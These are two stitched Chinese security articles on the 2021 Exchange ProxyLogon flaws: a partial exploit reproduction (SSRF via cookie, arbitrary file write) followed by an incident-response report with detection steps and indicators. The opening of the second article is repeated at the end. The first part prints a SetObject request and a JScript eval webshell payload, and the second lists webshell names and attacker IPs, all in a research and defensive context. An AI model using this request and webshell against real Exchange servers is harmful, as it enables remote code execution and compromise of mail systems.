此外,Volexity还发布了以下与SSRF漏洞利用相关的URL:

/owa/auth/Current/themes/resources/logon.css
/owa/auth/Current/themes/resources/...
/ecp/default.flt
/ecp/main.css
/ecp/.js

利用这些指示符,我们在补丁差异中寻找了相关的关键词(包括主机、主机名、fqdn等字符串),最终在Microsoft.Exchange.FrontEndHttpProxy.HttpProxy中发现了值得关注的变更。与此同时,我们还发现了BEResourceRequestHandler使用的BackEndServer类中的差异。

与ServerInfo / authentication / host / fqdn相关的补丁差异:

11.png

BEResourceRequestHandler使用的BackEndServer类的补丁差异:

12.png

接下来,我们追踪对BEResourceRequestHandler的调用,从ProxyModule中的SelectHandlerForUnauthenticatedRequest方法中找到了相关的路径。

下图的简化代码展示了命中BEResourceRequestHandler的路径:

13.png

最后,我们评估了BEResourceRequestHandler的CanHandle方法,发现其中需要一个带有ECP“协议”的URL(例如:/ecp/)、一个X-BEResource Cookie和一个以静态文件类型扩展名结尾的URL(例如js、css、flt等)。由于这段代码是在HttpProxy中实现的,因此这个URL不一定需要有效,这也说明了一个事实,即我们可以使用/ecp/y.js(一个不存在的文件)作为指示符。

X-BEResource Cookie在BackEndServer.FromString中进行解析,其根据“~”来拆分字符串,将第一个元素分配给后端的“fqdn”,将第二个元素解析为整数的版本号。
随后,我们追踪了这个BackEndServer对象的用法,发现它在ProxyRequestHandler中用于确定要将代理请求发送到的Host。URI是通过UriBuilder在GetTargetBackEndServerUrl中构造的,而UriBuilder是本地.NET类。

下图的简化代码展示了ProxyRequestHandler中的相关方法:

14.png

在这里,从理论上来说,我们可以通过设置特定的标头,并将请求发送到/ecp中的“静态”文件来控制这些用于后端连接的Host。但是,仅控制这些主机并不足以让我们在Exchange后端上调用任意终端。为此,我们查看了.NET源代码本身,以了解UriBuilder是如何实现的。

UriBuilder源代码中的ToString方法:

15.png

如上面的代码片段所示,UriBuilder的ToString方法(用于构造URI)仅将我们输入的内容进行简单的字符串连接。因此,如果将Host设置为“example.org/api/endpoint/#”,就可以有效获得对目标URL的完全控制。

有了这些信息,我们就可以通过下述HTTP请求尝试进行SSRF利用。

由于Kerberos主机不匹配,因此SSRF尝试访问example.org失败:

16.png

由于与example.org通信的NegotiateSecurityContext错误,我们此次SSRF尝试遇到了失败。事实证明,这次失败帮助我们理解了SSRF,因为它表明HTTP代理是图通过Kerberos向后端服务器进行身份验证的事实。随后,将主机名设置为Exchange服务器的计算机名,就会发现Kerberos身份验证成功。并且我们现在可以以NT AUTHORITY\SYSTEM身份访问终端。至此,我们构造了以下HTTP请求来进行SSRF漏洞利用。

由于后端身份验证检查,这次SSRF尝试同样失败:

17.png

又一次,后端服务器由于某种原因拒绝了我们的请求。通过跟踪这一错误,我们最终发现了EcpProxyRequestHandler.AddDownLevelProxyHeaders方法,该方法仅在ProxyToDownLevel设置为true时才会调用。这一方法会检查用户是否已经通过身份验证,如果没有通过验证,则会返回HTTP 401错误。

幸运的是,我们可以通过修改Cookie中的服务器版本来阻止GetTargetBackEndServerUrl设置这个值。如果版本大于Server.E15MinVersion,那么ProxyToDownLevel将保持为false。在进行这个更改之后,我们成功通过了后端服务(autodiscover)的身份验证。

成功实现autodiscover终端的SSRF利用:

18.png

在查看上述代码路径时,我们在OWA代理处理程序中发现了另一处SSRF。这些请求是在没有经过Kerberos身份验证的情况下发送的,因此可以将其定向到任意服务器,如下所示。

通过X-AnonResource Cookie成功实现到example.org的SSRF尝试:

19.png

至此,我们就有能力来伪造对某些后端服务的请求。目前我们暂时不会发布有关如何通过敏感服务认证(例如/ecp)的细节,因为这些信息尚未被公开披露。

5.3 任意文件写入(CVE-2021-27065)

在获得了SSRF之后,我们将注意力转向了远程代码执行。在开始分析补丁差异之前,关于这个漏洞的第一个线索来自于Microsoft和Volexity发布的指标。他们表示,通过下述PowerShell命令可以在ECP日志中搜索是否遭遇漏洞利用攻击的指标:

Select-String -Path "$env:PROGRAMFILES\Microsoft\ExchangeServer\V15\Logging\ECP\Server\*.log" `
-Pattern 'Set-.+VirtualDirectory'

此外,Volexity的文章称对/ecp/DDI/DDIService.svc/SetObject 的请求与漏洞利用相关。在掌握了上面两个信息之后,我们就在补丁差异中搜索了ECP或DDI类中与文件I/O相关的任何内容。很快就发现了Microsoft.Exchange.Management.ControlPanel.DIService中的WriteFileActivity类。“控制面板”(control panel)是ECP面向用户的名称,而DDIService直接位于指标URL之中。如下图中所体现的差异,旧版本会将由用户控制名称的文件直接写入到磁盘。而新版本的代码会在文件名后附加“.txt”扩展名(如果不存在该扩展名)。我们知道,在通常的漏洞利用过程中,在将ASPX Webshell写入服务器时,通常都会优先选择WriteFileActivity来利用。

WriteFileActivity.cs在修复前后的差异:

20.png

我们在Exchange安装目录中搜索WriteFileActivity,可以在Exchange Server\V15\ClientAccess\ecp\DDI的多个XAML文件中看到它的存在。

ResetOABVirtualDirectory.xaml中的代码段:

21.png

在检查了XAML文件并查看了Exchange Web UI中的ECP功能后,我们确定上述SetObjectWorkflow描述了需要在服务器端执行的一系列步骤(包括Powershell cmdlet执行),从而可以执行特定操作。

ECP用户界面,展示了ResetVirtualDirectory的配置选项:

22.png

通过提交示例ResetVirtualDirectory请求,我们观察到Exchange服务器将VirtualDirectory的配置写入到指定路径,删除VirtualDirectory,然后重新创建。这个配置文件中包含目录的多个属性,并且可以使用任意扩展名写入系统上的任何目录。请求和结果文件如下图所示。

向DDIService发送HTTP请求,以重置OAB VirtualDirectory:

POST /ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary={csrf} HTTP/1.1
Host: localhost
Cookie: msExchEcpCanary={csrf};
Content-Type: application/json
{
  "identity": {
    "__type": "Identity:ECP",
    "DisplayName": "OAB (Default Web Site)",
    "RawIdentity": "cf64594f-d739-44a4-aa70-3fbd158625e2"
  },
  "properties": {
    "Parameters": {
      "__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
      "FilePathName": "C:\\VirtualDirectory.aspx"
    }
  }
}

DDIService导出的文件显示了VirtualDirectory的所有属性:

23.png

ECP Web UI显示了VirtualDirectory的可编辑参数:

24.png

在UI中,公开了以下参数,可以用于编辑VirtualDirectory。值得注意的是,UI中公开的同时包括内部URL和外部URL,在XAML中作为参数,并写入到我们的任意路径的文件之中。上述条件的组合,就可以使攻击者控制的输入内容到达任意路径,这也是我们利用Webshell所必需的原语。

经过一些实验后,我们能够确定内部和外部URL字段中的一部分会被服务器验证。也就是说,服务器将验证URI方案、主机名,以及不超过256个字节的长度。此外,服务器会对Payload中的任何%符号进行编码(也就是将“%”变为“%25”)。这就会导致类似于 < %code% > 这样的常规ASPX代码块被转换为 < %25 code%25 > 的无效代码。但是,在这里并没有对其他元字符(例如“ < ”和“ > ”)进行编码,这就允许攻击者注入以下的URL:

http://o/#  < script language="JScript" runat="server" > function Page_Load(){eval(Request["mlwqloai"],"unsafe");} < /script >

在重置VirtualDirectory后,这个URL会被嵌入到导出中,并保存到我们指定的路径,从而可以在Exchange服务器上执行远程代码。

利用Webshell在被攻击的Exchange服务器上执行命令:

25.png

5.4 泄漏后端和域

要形成完整的漏洞利用链,需要Exchange服务器的后端和域。在Crowdstrike的一篇文章中,他们提供了攻击过程的完整日志,其中记录了来自互联网的攻击细节。在日志中,首先是针对/rpc/终端的调用。

初始请求是针对Exchange公开的/rpc/:

26.png

这个初始请求必须是未经身份验证状态下的,可能利用了HTTP上的RPC,它本质上通过终端公开了NTLM身份验证。 HTTP上的RPC是一个相当复杂的协议,我们可以根据Microsoft提供的规范说明了解其详细信息。

站在攻击者的视角,我们关注解析发送NTLM Negotiation消息后返回给我们的NTLM Challenge消息。在Challenge消息中包含许多AV_PAIR结构,其中包含我们关注的信息,特别是MsvAvDnsComputerName(后端服务器名称)和MsvAvDnsTreeName(域名)。

Impacket的http.py中已经包含执行协商(Negotiation)过程的代码,以生成Negotiation消息,然后将Challenge响应解析为AV_PAIR结构。请求和响应分别如下:

RPC_IN_DATA /rpc/rpcproxy.dll HTTP/1.1
Host: frontend.exchange.contoso.com
User-Agent: MSRPC
Accept: application/rpc
Accept-Encoding: gzip, deflate
Authorization: NTLM TlRMTVNTUAABAAAABQKIoAAAAAAAAAAAAAAAAAAAAAA=
Content-Length: 0
Connection: close
HTTP/1.1 401 Unauthorized
Server: Microsoft-IIS/8.5
request-id: 72dce261-682e-4204-a15a-8055c0fd93d9
Set-Cookie: ClientId=IRIFSCHPJ0YLFULO9MA; expires=Tue, 08-Mar-2022 22:48:47 GMT; path=/; HttpOnly
WWW-Authenticate: NTLM TlRMTVNTUAACAAAACAAIADgAAAAFAomiVN9+140SRjMAAAAAAAAAAJ4AngBAAAAABgOAJQAAAA9DAE8AUgBQAAIACABDAE8AUgBQAAEACABlAHgAVgBNAAQAIABjAG8AcgBwAC4AYwBvAG4AdABvAHMAbwAuAGMAbwBtAAMAKgBlAHgAVgBNAC4AYwBvAHIAcAAuAGMAbwBuAHQAbwBzAG8ALgBjAG8AbQAFACAAYwBvAHIAcAAuAGMAbwBuAHQAbwBzAG8ALgBjAG8AbQAHAAgA8EkBM20U1wEAAAAA
WWW-Authenticate: Negotiate
WWW-Authenticate: Basic realm="frontend.exchange.contoso.com"
X-Powered-By: ASP.NET
X-FEServer: frontend
Date: Mon, 08 Mar 2021 22:48:47 GMT
Connection: close
Content-Length: 0

可以使用Impacket解析Base64编码的哈希值,从而查看泄露的域信息。

在WWW-Authenticate NTLM Challenge中包含的域信息:

27.png

恢复后的AV_PAIR数据被编码为Windows Unicode,并将特定的AV_ID映射到一个值。AV_ID是用于代表特定内容的常量,举例来说,我们想要获取的是AV_ID为3(后端主机名)和5(域)的字符串。

AV_PAIR结构与数据的对应关系:

28.png

根据这里的信息,我们可以确定后端值为ex.corp.contoso.co,域为corp.contoso.com。这些也就是我们前面所讨论的SSRF漏洞利用所需的值。

5.5 后续工作

如上文所述,我们在这里省略了某些漏洞利用细节,以防止非法攻击者实现漏洞利用。攻击者可以利用这一漏洞以任意用户的身份向ECP终端进行身份验证,而这一过程我们交给读者去自行尝试。在经过足够长的时间之后,我们将在后续的文章中披露更多详细信息。

0x06 检测方法

Microsoft的威胁情报中心(MSTIC)已经提供了非常详尽的指标和检测脚本,我们建议任何使用了Exchange服务器的用户都需要进行自查。为了确认是否存在可疑攻击,我们建议安全运营中心(SOC)、安全托管服务提供商(MSSP)、可管理的威胁检测与响应服务(MDR)采取以下步骤:

1、确保所有终端防护产品已经更新并正常运行。尽管检测引擎并没有针对这个漏洞利用增加太多的威胁指标,但这些最新的工具可以轻松检测到漏洞利用后的活动。

2、在所有Exchange服务器上,运行Microsoft GitHub中的TestProxyLogon.ps1脚本。根据我们针对漏洞利用实现武器化的经验,这个脚本应该可以检测出漏洞利用的痕迹。

3、仔细检查服务器的配置、计划任务、自动运行等位置。这些都是攻击者在获取初始访问权限后可能会改动的位置。确保Exchange服务器启用了“Audit Process Creation”(审计进程创建)审核策略和PowerShell日志记录,并检查可疑的命令和脚本。如果发现可疑情况,应当尽快验证、报告和补救。

随着我们后续对漏洞利用的深入研究,我们还将发布其他信息,以帮助大家更好地检测环境中是否存在漏洞利用的迹象。

6.1 后漏洞利用

Sean Metcalf和Trimarc Security在先前的文章中详细介绍了Exchange安装时通常启用的高级权限。按照这种方式进行配置后,一旦攻击者控制了Exchange服务器,便可以利用这一访问权限对整个域范围内开展进一步攻击。针对已经遭受攻击的环境,应当检查域对象的ACL,并确认受到攻击的Exchange资源所属的组,从而判断可能受到进一步攻击的范围。我们将Trimarc文章的PowerShell进行了修改,从而可以更加详细地筛选Exchange Windows权限和Exchange受信任子系统组。如果您的环境中已经将Exchange资源添加到自定义组,或者自定义了其他组,则需要再对这个脚本进行相应调整。

import-module ActiveDirectory
$ADDomain = ''
$DomainTopLevelObjectDN = (Get-ADDomain $ADDomain).DistinguishedName
Get-ADObject -Identity $DomainTopLevelObjectDN -Properties * | select -ExpandProperty nTSecurityDescriptor | select -ExpandProperty Access | select IdentityReference,ActiveDirectoryRights,AccessControlType,IsInherited | Where-Object {($_.IdentityReference -like "*Exchange Windows Permissions*") -or ($_.IdentityReference -like "*Exchange Trusted Subsystem*")} | Where-Object {($_.ActiveDirectoryRights -like "*GenericAll*") -or ($_.ActiveDirectoryRights -like "*WriteDacl*")}

0x07 致谢

我们的漏洞利用复现过程参考了此前很多研究人员、应急响应人员和其他致力于复现漏洞的安全研究人员已发表的成果,需要对以下个人和团队表示感谢:

DEVCORE - 最早发现了这一漏洞

Volexity - 发现野外漏洞利用

@80vul - 第一个复现漏洞利用链的研究人员

Rich Warren(@buffaloverflow) - 在研究过程中与我们积极合作

Crowdstrike - 发布了有关野外漏洞利用的更多信息

Microsoft - 迅速发布了威胁指标和补丁

0x00 概述

上周,Microsoft报告了一起罕见的网络安全事件,有攻击者对Microsoft Exchange服务器进行持续的大规模漏洞利用,其中使用到了各种0-Day漏洞。高度复杂的攻击者再加上此前未知的威胁,这样的攻击无疑是安全团队遇到的最有挑战性的情况之一。

但对于CrowdStrike Falcon Complete团队来说,这只是平常的一天。

在这篇文章中,我们描述了Falcon Complete团队是如何在客户侧快速检测和清除这类复杂的攻击。在本文发布时,类似的攻击仍在继续。在此过程中,我们将探讨安全团队内部协作的关键作用。与Falcon Complete团队共同协作的事CrowdStrike Falcon OverWatch团队,他们是积极的威胁探寻者,在此次攻击中与CrowdStrike Intelligence团队共同提供了威胁的特征。我们的威胁专家在几分钟的时间内实现了对威胁的检测,随即有能力理解并应对这种新型威胁,最终阻止了攻击行为。

0x01 攻击概述

在此次攻击活动中,攻击者扫描并自动化利用多个0-Day漏洞(包括CVE-2021-26855、CVE-2021-26857、CVE-2021-26858和CVE-2021-27065),将ASPX格式的Webshell放置在存在漏洞的Microsoft Exchange服务器上。一旦成功后,就将其用于后漏洞利用的活动中。我们可以看到,这些漏洞影响包括2013、2016、2019在内的多个Exchange版本。在几乎所有案例中,投递的Webshell都是类似于菜刀的Webshell。

在本文后续部分,我们将展现安全运营团队处理复杂威胁的流程和运营思路。我们团队通过快速了解新型威胁和疑似0-Day、识别并隔离受影响的系统、删除关联的Webshell、通知受影响的客户威胁的影响方式等关键步骤,实现了快速有效的响应。

0x02 初始检测

从2月28日开始,Falcon OverWatch团队开始监测到新型入侵的相关迹象。我们观察到未知攻击者未经授权访问了多个客户环境、多台主机上的本地Microsoft Exchange应用池,随即我们立刻开始通知受影响的组织。与此同时,Falcon Complete团队立即开始对威胁开展深入调查。

根据我们的初步检测,可疑命令行与常见的Webshell行为一致。进一步分析表明,该Webshell类似于菜刀 Webshell的变种,这种Webshell由于其轻量级大小和使用简单而被攻击者广泛使用。

检测w3wp进程:

上图展示了使用Process Explorer查看到的感染链。在进程树中有两个值得关注的节点。首先,我们观察到W3WP.EXE视图利用名为“MSExchangeOWAAppPool”的Exchange应用程序池,因此可以确定W3WP.EXE为恶意进程。接下来,将会执行一个命令,通常在命令中会包含侦查相关的内容。

我们可以在关联的检测中查看执行详细信息,以此来识别被利用的应用程序池。如下图所示,我们高亮标记了W3WP.EXE进程运行的恶意命令之中的应用程序池。更准确地来说,这个命令本身并不是恶意的,所以我们可以对其进行精准分类。

w3wp.exe包含的CMD:

由于在CMD进程的“执行详细信息”中分析了其他上下文,因此我们现在能确定该活动为恶意活动。恶意活动如下图所示。根据其命令中的字符串模式(特别是以下高亮标记的字符串模式),表示Webshell视图从“Exchange Organization administrators”组中删除管理员帐户。目前还不清楚攻击者为什么要执行这一命令,但其作用是防止合法管理员阻止其执行命令。

Webshell命令:

但到这里,最初的感染载体仍然是未知的。我们在掌握了当前的检测信息,并确认该活动属于恶意之后,接下来的一步就是确定恶意活动的全部范围。

0x03 使用EDR数据进行调查

一旦掌握终端检测与响应(EDR)的丰富源数据,就能够确定每个终端的详细行为。我们的终端活动监视器(EAM)应用程序可以实时搜索执行数据,快速调查并确定受影响的范围。

针对Falcon Complete客户,我们使用了EAM的功能来查找写入到磁盘的Webshell文件,从而缩短响应时间并节省了工作量。

用于搜索ASPX文件写入的EAM查询:

我们的突破口是文件扩展名为“.ASPX”的写入磁盘的最新文件,以此来调查有关Webshell入侵的相关线索。这些文件表示威胁参与者已经上传到受感染主机的Webshell。在这里,团队利用了一个简单的命令来搜索任意“NewScriptWritten”事件。通过广泛的查询,我们识别到了其中的几个文件,但进一步排查确定只有“\inetpub\wwwroot\aspnet_client\system_web”路径下的文件才是恶意Webshell。不同漏洞利用所选取的目标路径各不相同,我们发现的其他路径可以参考最下方的威胁指标一节。

我们可以通过终端窗口中的实时响应工具来分析这些文件,也可以下载这些文件进行进一步的离线分析。在确定目标后,我们就可以深入研究这些文件,以获取其他上下文呢信息,如下图所示。

在此处观察到的写入时间相似的其他文件实际上与Exchange更新相关,并且是合法文件。

其他EAM详细信息:

在初步调查完成后,我们将工作方向转变为遏制和补救。

0x04 消除威胁

当涉及到高度复杂、从未见过、由国家支持的攻击时,一些技术就显得不太足够,这也就是在击杀链中的每一个环节都需要引入分析专家的原因。在我们检测到后漏洞利用活动时,我们会立即按照高危应急预案进行操作,第一时间联系客户,通知受影响主机范围,并详细介绍该恶意活动。

我们最初建议采取的恢复措施之一,是使用最新的补丁对主机进行修补。但是,由于该威胁参与者使用了多个0-Day漏洞,因此没有可用的补丁程序来缓解所有问题,攻击者可以重复进行多次漏洞利用。面对这样的场景,我们仍然成功阻止了攻击者的第二次攻击尝试。

在进行安全事件响应时,应该预见到可能存在的影响因素。如果客户只有一个Exchange Server网络,其中的一台主机可以切断客户的电子邮件通信,那么此时客户可能无法接收到通过电子邮件方式发送的威胁相关信息。在这种情况下,如果能通过与客户事先商定的其他通信方式配合使用,就可以迅速将事件通知到客户,并持续、即使地向他们提供更多信息和建议。

从初始检测过程中已知目录C:\inetpub\wwwroot\aspnet_client\system_web\位置开始,再到NewScriptWritten EAM事件中的匹配目录,分析人员开始在这些目录中查找潜在的Webshell。

在所有主机上,我们发现了具有与正则表达式字符串匹配的命名模式的Webshell,如下图所示。

Webshell名称符合正则表达式字符串的完整文件路径:

这些文件似乎是属于Microsoft Exchange。Server离线地址簿(OAB)配置文件,在外部URL部分似乎包含菜刀 Shell,如下图所示。

在主机上发现的Webshell,红色标记部分为类似于菜刀的脚本:

此外,在漏洞利用活动进行的同时,W3WP.EXE进程树下还包含一个CSC.EXE(C#命令行编译器)进程在磁盘上写入和编译临时DLL。

新的可执行写入和临时DLL文件路径正则表达式示例:

我们尝试恢复这些DLL。分析表明,当ASP.NET将.aspx文件编译为程序集时,通常会看到这些DLL文件。在首次访问.aspx文件时,ASP.NET会将结果程序集时复制到此临时目录中,此时会发生编译过程。

__BuildControlTree()函数示例,这是由ASP.NET运行时生成的程序集:

PageLoad()函数示例,这是由ASP.NET运行时生成的程序集:

在一个不与菜刀相似的示例中,我们发现了一个Shell,其作用是充当文件上传工具,将特定的文件写入到磁盘中。这个行为恰好与“MultiUp.aspx”的命名相符合。

不与菜刀相似的Shell:

接下来,我们继续查找和修复Webshell以及相关的DLL文件。

0x05 理解核心原因

每当我们对这类活动进行响应时,我们团队都会着重于理解已经检测到的内容以及如何对恶意活动进行遏制和补救,以确保客户受到保护。除了了解这些关键数据之外,如果能够了解漏洞利用的核心原因是非常有价值的,因为它有助于更加清楚地识别漏洞利用的发生方式,可以让我们能够实施其他保护措施,来防止进一步漏洞利用。

在消除威胁后,我们的团队就可以集中力量从主机中提取数据,以便确定其他信息并进行根本原因分析。我们的分析包括但不限于对来自主机的IIS日志文件、ECP日志文件和事件日志进行分析。

在调查任何Web漏洞利用时,Web日志都是一个有价值的信息来源。我们最开始就是从受影响的主机中提取了IIS日志,从中搜索关键特征,以尝试确认初始入侵点。正如在《2021年CrowdStrike全球威胁报告》中所讨论的,影响Microsoft Exchange Server的CVE-2020-0688是我们在2020年最常观察到的漏洞利用之一。

自然,我们首先以CVE-2020-0688作为关键词来搜索漏洞利用的证据,随后发现没有证据表明该漏洞已经被利用。此外,我们检查了主机的补丁安装情况,发现某些受到入侵的主机似乎已经更新了最新的Exchange补丁。

随后,我们开始调查其他潜在漏洞,包括最近发现和修复的Microsoft Exchange Server服务器欺骗漏洞CVE-2021-24085(可以用于特权提升)。这个漏洞的PoC代码在2月15日公开。

在IIS日志中,如果搜索与CVE-2021-24085相关的关键词,可能会找到一些有趣的结果,特别是对DDIService.svc的POST。

但是,在日志中看到的这些POST似乎不是对CVE-2021-24085的利用,特别是,目前我们没有看到其他指向CVE-2021-24085 CSRF Token生成(和之后的特权提升)过程的相关证据。

现在,我们掌握了两个事实。首先,从主机上发现的Webshell似乎是Microsoft Exchange Server离线通信簿(OAB)配置文件,在其“外部URL”部分包含类似于菜刀的Shell。其次,设置OABVirtualDirectory的DDIService.svc/SetObject的POST与我们已知的任意漏洞都不匹配,我们开始怀疑可能存在0-Day漏洞利用。

通过查看这些文件的写入时间戳,我们在多个客户的IIS日志中发现了一个共同之处,表明该日志可能与漏洞利用活动相关。

在对IIS日志进行分析的过程中,我们发现了对单个字母JavaScript文件的POST,这显然是不常见的行为。POST似乎是漏洞利用链中将Webshell写入主机的核心部分。不过我们没有从任何一台主机上收集到y.js的样本来确定这个文件的用途。

与DLL和Webshell文件写入的时间戳相对应的日志模式:

此外,在IIS日志中还有一些线索,展示了攻击者对Webshell的POST请求。这些POST对应我们在攻击活动的初始检测中所看到的命令执行。

至此,我们知道在漏洞利用过程中,会更新OABVirtualDirectory ExternalURL字段,以放入类似于菜刀的Webshell。事后看来,这可能涉及到PowerShell命令行开关“Set-OabVirtualDirectory”。

我们接下来着手于收集W3WP(IIS)进程的内存转储,以尝试恢复y.js文件或任何其他工件,从而发现最初漏洞利用的细节。我们最终从收集到的内存转储中提取了以下工件。

来自W3WP内存转储的数据:

解码后,我们得到了将初始命令传递到已投放的Webshell的证据。

解码后的数据:

在继续积极进行响应和补救的同时,我们继续分析了来自Exchange服务器的其他日志,以进一步了解我们观察到的内容。

在此过程中,我们查看了应用程序事件日志,并找到了其他日志源,从而有助于我们对漏洞利用进行更全面的了解:

事件ID 47 MSExchange控制面板:使用管理员SID,表明发生了特权提升

事件ID 4007 MSComplianceAudit:这一条目指向以下文件路径的Exchange审核日志:

“%PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\LocalQueue\Exchange\”

通过对该审核日志进行分类,我们可以进一步了解漏洞利用过程,特别是以管理员帐户身份使用Set-OabVirtualDirectory通过菜刀Shell脚本修改“External URL”的Webshell投递过程。值得关注的是,该日志还体现了攻击者清理痕迹的行为,他们先使用了Remove-OabVirtualDirectory命令,随后使用了另一个Set-OabVirtualDirectory命令,以将配置恢复为原始状态。这一操作的目的可能是为了避免被任何查看Exchange配置的人发现。

如果你有权访问,就可以在“MSExchange管理”事件日志中看到这些活动。

接下来,我们将重点分析ECP服务器日志。由于在IIS日志中观察到对类似于“/ecp/y.js”的URI的POST请求,因此我们转而重点分析该日志。这表明攻击者尝试绕过身份验证并远程执行代码。

在ECP服务器日志中,包含了一个嵌入外部URL之中、类似于菜刀的Webshell,它利用Set-OabVirtualDirectory cmdlet修改了离线通讯簿(OAB)虚拟目录。

ECP服务器日志:

ECP活动日志中显示了针对指向/ecp/y.js的OABVirtualDirectory的SetObject命令请求。

ECP活动日志:

将ECP服务器日志时间戳和IIS日志关联起来,我们注意到有多个HTTP POST请求源于一个VPS地址,我们现在知道漏洞利用过程类似于远程代码执行,很可能是将CVE-2021-26858和CVE-2021-27065组合利用。

IIS日志:

在我们调查的过程中,Microsoft报告了Exchange存在的4个0-Day,我们发现观察到的恶意活动与这些0-Day相关联。随后,我们向客户提供了有关如何修复以及防止再次被攻击的安全建议。

0x06 缓解措施

为了防范这类持续威胁,我们建议组织采取以下措施。

1、限制访问。Microsoft提出最初的漏洞利用涉及到“与Exchange服务器的443接口建立不受信任的连接”。因此,我们建议设置Exchange Server的Web访问限制,确保仅有受信任的内网IP可以访问,或者将其放置在通过验证才能访问的VPN之后。

2、安装Exchange补丁程序。作为及时响应,我们建议所有Exchange Server应该安装KB5000871补丁程序,该补丁程序可修复恶意活动中利用的漏洞。更多信息可以参考Microsoft Exchange团队发布的文章。

3、阻止相关的恶意IP。迄今为止,恶意活动仅利用了有限数量的IP地址。如果在防火墙上阻止这些地址,可以在一定程度上防范相同攻击者继续使用原有IP地址发动的攻击。

4、主动寻找Webshell。在这篇文章中包含了威胁指标,以帮助查找该恶意活动中攻击者可能投放的Webshell。检索Exchange或Web服务器目录中新创建或新修改的ASPX文件可能能有效识别Webshell。管理员和安全人员可以查看可用的日志,以确认是否存在可疑活动或可疑迹象。

0x07 总结

我们将持续与客户展开紧密合作,并迅速做出响应,以检测并阻止这一恶意活动,防范攻击者的入侵尝试。我们可以使用各种分析工具和技术来进一步了解威胁,并更好地保护客户,使其能够专注于业务而不会受到干扰。即使是在Microsoft Exchange四个0-Day漏洞的持续大规模利用的场景中,借助标准化的排查手段,找准突破口层层深入,我们最终也成功发现并消除了威胁。

0x08 威胁指标

IP地址:

104.248.49[.]97

161.35.1[.]207

161.35.1[.]225

157.230.221[.]198

165.232.154[.]116

167.99.239[.]29

User Agent:

Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/74.0.3729.169+Safari/537.36

python-requests/2.24.0

ExchangeServicesClient/0.0.0.0

Webshell路径:

\[IIS Install Path]\aspnet_client\

\[IIS Install Path]\aspnet_client\system_web\

\[Exchange Install Path]\FrontEnd\HttpProxy\owa\auth\

Webshell文件名:

[0-9a-zA-Z]{8}.aspx

error.aspx

Logout.aspx

OutlookJP.aspx

MultiUp.aspx

Shell.aspx

RedirSuiteServerProxy.aspx

OutlookRU.aspx

Online.aspx

Discover.aspx

OutlookEN.aspx

HttpProxy.aspx

临时DLL写入路径:

C:\Windows\Microsoft.NET\Framework64\*\Temporary ASP.NET Files\root\*\*\App_Web_[0-9a-z]{8}.dll

0x00 概述

上周,Microsoft报告了一起罕见的网络安全事件,有攻击者对Microsoft Exchange服务器进行持续的大规模漏洞利用,其中使用到了各种0-Day漏洞。高度复杂的攻击者再加上此前未知的威胁,这样的攻击无疑是安全团队遇到的最有挑战性的情况之一。

但对于CrowdStrike Falcon Complete团队来说,这只是平常的一天。

在这篇文章中,我们描述了Falcon Complete团队是如何在客户侧快速检测和清除这类复杂的攻击。在本文发布时,类似的攻击仍在继续。在此过程中,我们将探讨安全团队内部协作的关键作用。与Falcon Complete团队共同协作的事CrowdStrike Falcon OverWatch团队,他们是积极的威胁探寻者,在此次攻击中与CrowdStrike Intelligence团队共同提供了威胁的特征。我们的威胁专家在几分钟的时间内实现了对威胁的检测,随即有能力理解并应对这种新型威胁,最终阻止了攻击行为。

0x01 攻击概述

在此次攻击活动中,攻击者扫描并自动化利用多个0-Day漏洞(包括CVE-2021-26855、CVE-2021-26857、CVE-2021-26858和CVE-2021-27065),将ASPX格式的Webshell放置在存在漏洞的Microsoft Exchange服务器上。一旦成功后,就将其用于后漏洞利用的活动中。我们可以看到,这些漏洞影响包括2013、2016、2019在内的多个Exchange版本。在几乎所有案例中,投递的Webshell都是类似于菜刀的Webshell。

在本文后续部分,我们将展现安全运营团队处理复杂威胁的流程和运营思路。我们团队通过快速了解新型威胁和疑似0-Day、识别并隔离受影响的系统、删除关联的Webshell、通知受影响的客户威胁的影响方式等关键步骤,实现了快速有效的响应。

0x02 初始检测

从2月28日开始,Falcon OverWatch团队开始监测到新型入侵的相关迹象。我们观察到未知攻击者未经授权访问了多个客户环境、多台主机上的本地Microsoft Exchange应用池,随即我们立刻开始通知受影响的组织。与此同时,Falcon Complete团队立即开始对威胁开展深入调查。

根据我们的初步检测,可疑命令行与常见的Webshell行为一致。进一步分析表明,该Webshell类似于菜刀 Webshell的变种,这种Webshell由于其轻量级大小和使用简单而被攻击者广泛使用。

检测w3wp进程:

上图展示了使用Process Explorer查看到的感染链。在进程树中有两个值得关注的节点。首先,我们观察到W3WP.EXE视图利用名为“MSExchangeOWAAppPool”的Exchange应用程序池,因此可以确定W3WP.EXE为恶意进程。接下来,将会执行一个命令,通常在命令中会包含侦查相关的内容。

我们可以在关联的检测中查看执行详细信息,以此来识别被利用的应用程序池。如下图所示,我们高亮标记了W3WP.EXE进程运行的恶意命令之中的应用程序池。更准确地来说,这个命令本身并不是恶意的,所以我们可以对其进行精准分类。

w3wp.exe包含的CMD:

由于在CMD进程的“执行详细信息”中分析了其他上下文,因此我们现在能确定该活动为恶意活动。恶意活动如下图所示。根据其命令中的字符串模式(特别是以下高亮标记的字符串模式),表示Webshell视图从“Exchange Organization administrators”组中删除管理员帐户。目前还不清楚攻击者为什么要执行这一命令,但其作用是防止合法管理员阻止其执行命令。

Webshell命令:

但到这里,最初的感染载体仍然是未知的。我们在掌握了当前的检测信息,并确认该活动属于恶意之后,接下来的一步就是确定恶意活动的全部范围。

0x03 使用EDR数据进行调查

一旦掌握终端检测与响应(EDR)的丰富源数据,就能够确定每个终端的详细行为。我们的终端活动监视器(EAM)应用程序可以实时搜索执行数据,快速调查并确定受影响的范围。

针对Falcon Complete客户,我们使用了EAM的功能来查找写入到磁盘的Webshell文件,从而缩短响应时间并节省了工作量。

用于搜索ASPX文件写入的EAM查询:

我们的突破口是文件扩展名为“.ASPX”的写入磁盘的最新文件,以此来调查有关Webshell入侵的相关线索。这些文件表示威胁参与者已经上传到受感染主机的Webshell。在这里,团队利用了一个简单的命令来搜索任意“NewScriptWritten”事件。通过广泛的查询,我们识别到了其中的几个文件,但进一步排查确定只有“\inetpub\wwwroot\aspnet_client\system_web”路径下的文件才是恶意Webshell。不同漏洞利用所选取的目标路径各不相同,我们发现的其他路径可以参考最下方的威胁指标一节。

